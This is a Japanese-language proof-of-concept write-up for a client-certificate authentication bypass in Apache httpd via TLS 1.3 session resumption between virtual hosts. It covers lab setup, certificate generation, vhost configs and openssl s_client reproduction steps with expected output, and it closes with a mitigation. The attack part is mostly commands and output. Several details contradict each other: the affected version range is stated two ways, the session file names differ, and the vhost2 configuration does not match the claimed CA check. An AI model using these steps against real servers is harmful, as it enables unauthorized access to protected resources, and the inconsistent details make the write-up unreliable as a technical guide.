
Apache HTTP Server バージョン 2.4.35 – 2.4.63 は、異なる `SSLCACertificateFile` ディレクティブを持つ仮想ホスト間で TLS 1.3 セッション再開が使用される場合、クライアント証明書認証バイパスに対して脆弱です。
Apache HTTP Server バージョン 2.4.35 から 2.4.62 は、異なる SSLCACertificateFile ディレクティブを持つ仮想ホスト間で TLS 1.3 セッションレジュームが使用された場合、クライアント証明書認証のバイパスに対して脆弱です。
攻撃者は、ある仮想ホストで有効なクライアント証明書を保持している場合、別のCAによって発行された証明書を必要とする別の仮想ホスト上で TLS 1.3 セッションを再開し、保護されたリソースへの不正アクセスを得ることができます。
# ダウンロード元: https://www.apachelounge.com/download/VS16/binaries/httpd-2.4.57-win64-VS16.zip
# C:\Apache24 に展開する
conf\httpd.conf で必要なモジュールを有効化LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so
SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on
cd C:\Apache24\conf
mkdir ssl
cd ssl
# サーバー証明書(自己署名)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"
# CA1 と vhost1 用クライアント証明書
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365
# vhost2 用 CA2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"
# クリーンアップ
del client_ca1.csr *.srl
conf\extra\httpd-vhosts.conf)<VirtualHost *:443>
ServerName vhost1.example.com
DocumentRoot "C:/Apache24/htdocs/vhost1"
SSLEngine on
SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
SSLVerifyClient optional
SSLVerifyDepth 1
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
SSLStrictSNIVHostCheck off
<Location />
Require ssl-verify-client
</Location>
</VirtualHost>
<VirtualHost *:443>
ServerName vhost2.example.com
DocumentRoot "C:/Apache24/htdocs/vhost2"
SSLEngine on
SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"
SSLVerifyClient optional_no_ca
SSLVerifyDepth 1
SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
SSLStrictSNIVHostCheck off
<Location /restricted>
Require valid-user
</Location>
</VirtualHost>
mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html
mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html
C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start
vhost1 とのフルハンドシェイク → セッションを保存openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443
接続後に入力:
GET / HTTP/1.1
Host: vhost1.example.com

期待される出力(抜粋):
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>
セッションチケットは
session_shared.pemに保存されます。
vhost2 でセッションを再開 → 保護されたパスへアクセスopenssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443
入力:
GET /restricted/ HTTP/1.1
Host: vhost2.example.com
期待される出力(重要):
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Resumption PSK: ...
TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

CA1 のクライアント証明書が vhost2(CA2 のみを信頼)で受け入れられました
再認証は発生しませんでした — セッションレジュームにより CA チェックがバイパスされました
SSLStrictSNIVHostCheck on
をすべての異なるクライアント CA を必要とする TLS 1.3 仮想ホストで設定します。
クロス SNI セッションレジュームを無効化し、バイパスを防ぎます。